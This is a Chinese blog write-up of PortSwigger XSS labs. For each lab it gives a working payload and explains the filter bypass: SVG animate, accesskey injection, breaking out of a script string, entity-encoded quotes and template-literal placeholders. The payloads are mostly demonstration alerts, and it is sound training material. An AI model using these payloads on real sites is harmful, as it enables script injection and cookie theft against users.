Portswigger XSS Lab Notpad(一)

2021-03-25 14:17:06 浏览数 (1)

实验地址https://portswigger.net/web-security/all-labs


Lab: Reflected XSS into HTML context with nothing encoded

第一题没什么好说的,最简单的xsspayload

代码语言:javascript复制
<script>alert('xss')</script>

Lab: Reflected XSS into HTML context with most tags and attributes blocked

阻止了大部分的标签和属性,要求绕过waf并执行document.cookie.

首先Fuzz一波标签和属性,发现能利用的就是body,除了onresize外其他属性都较难触发。

Payload:

代码语言:javascript复制
<body onresize=alert(document.cooike)> 

这边研究了半天发现还是Not solved,看了实验室备解决方法才发现是需要用户不进行互交,csrf构造代码。

代码语言:javascript复制
<iframe src="https://your-lab-id.web-security-academy.net/?search=">" onload=width=500>

Lab: Reflected XSS into HTML context with all tags blocked except custom ones

题目: 除自定义标签外所有标签都会被拦截。

随便定义了个aaaa标签发现又是未完成,看了文档发现又得需要Go to exploit server

Payloa:

<script>location = "https://your-id.web-security-academy.net/?search=#x"</script>

自定义标签没法用src onerr onload等事件,但是官方payload通过tabindex=1 (规定当使用 "tab" 键进行导航时元素的顺序。) 再通过url#x定位标识符自动获取标签焦点实现onfocus事件。

Lab: Reflected XSS with event handlers and href attributes blocked

题目: 事件和href属性都被ban了,提示说注入矢量并单击矢量弹出警告。

这一题很早时候在学svg黑魔法的时候就做过了,是时候再走一遍流程了。

可以看到除了animate、image、title、svg、a外其他标签和事件都是不支持的。

这题需要利用svg animate利用attributeName(父元素需要被改变的属性名)

payload :

代码语言:javascript复制
<svg><a><text x=100 y=100>123</text><animate attributeName=href to=javascript:alert(1)></a></svg>
//在svg内需要加上坐标文字才能显示出来

Lab: Reflected XSS with some SVG markup allowed

题目直说了允许使用SVG标签。

爆破发现animatetransform、image、title、svg标签及onbgin属性可用。

Payload:

代码语言:javascript复制
 <svg><animatetransform onbegin=alert(1)></svg>  

Lab: Reflected XSS in canonical link tag

题目:将XSS插入Link标签

提示:

ALT SHIFT X

  • CTRL ALT X
  • Alt X

随便点一个先翻一下link标签,发现url?PostId=8都在href里,用单引号闭合。

Payload :

代码语言:javascript复制
?s'accesskey='x'onclick='alert(1)

Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped

提示:

在搜索和存在单引号和反斜杠转义,结果展示在JavaScript内。需要突破转义调用alert。

代码:

代码语言:javascript复制
 <script>
var searchTerms = '123123123”//';
document.write('<img src="/resources/images/tracker.gif?searchTerms=' encodeURIComponent(searchTerms) '">');
 </script>

这里涉及了html解析标签的机制,浏览器解析标签的顺序是:

遇到<script>标签,去寻找<script>结束标签,然后才解析标签里的内容

所以只需要直接嵌入结束标签即可

代码语言:javascript复制
</script><script>alert()</script>

Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded

题目 :

本实验在搜索查询功能中包含一个反映的跨站点脚本漏洞,该漏洞对尖括号进行了编码。 反射发生在JavaScript字符串内。 为了解决此实验室问题,请执行跨站点脚本攻击,该攻击会突破JavaScript字符串并调用Alert函数。

过程:

位置还是和上一题一样,但是是转义了> 。发现单引号可以闭合,所以构造

代码语言:javascript复制
';alert(1);//

看了官方这样也行'-alert(1)-'

Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

题目: 双引号、单引号、尖括号都被转义了,要求突破javascript弹窗。

和同时出现时候只将转义了,所以导致可闭合。

Payload:

代码语言:javascript复制
 ';alert();//

Lab: Reflected XSS in a JavaScript URL with some characters blocked

题目: 在JavaScript url中 某些字符被拦截。要求输出alert(1337)

看了还以为在留言处,没想到关键代码在其他地方:

<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=3'}).finally(_ => window.location = '/')">Back to Blog</a>

尝试一番,奈何太菜。

官方答案:

代码语言:javascript复制
https://your-lab-id.web-security-academy.net/post?postId=5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'

Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

题目: 要求单击评论名称时弹窗

关键代码:

代码语言:javascript复制
function onclick(event) {
 var tracker = {
 track() {}
 };
 tracker.track('https://url');
}

闭合单引号发现已被转义了,实体编码单引号&apos; &#39;可解析

Payload :

代码语言:javascript复制
http://123&#39;-alert()-&#39;

Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

题目:尖括号,单引号,双引号,反斜杠Unicode编码和反引号转义

代码:

代码语言:javascript复制
<script>
var message = `0 search results for '123123'`;
document.getElementById('searchMessage').innerText = message;
</script>

这题实在没做出来,查了下是利用js模板及占位符解决的。

${}里边是相当于js代码

例如 : var a = 1; console.log('一共有' a '个鸡蛋!')

使用占位符: console.log( `一共有${a}个鸡蛋!` )

一位不愿透露姓名的热心网友一位不愿透露姓名的热心网友

参考:

https://www.zhihu.com/question/48648714

https://www.136.la/nginx/show-79683.html

https://developer.mozilla.org/zh-CN/docs/Web/SVG

0 人点赞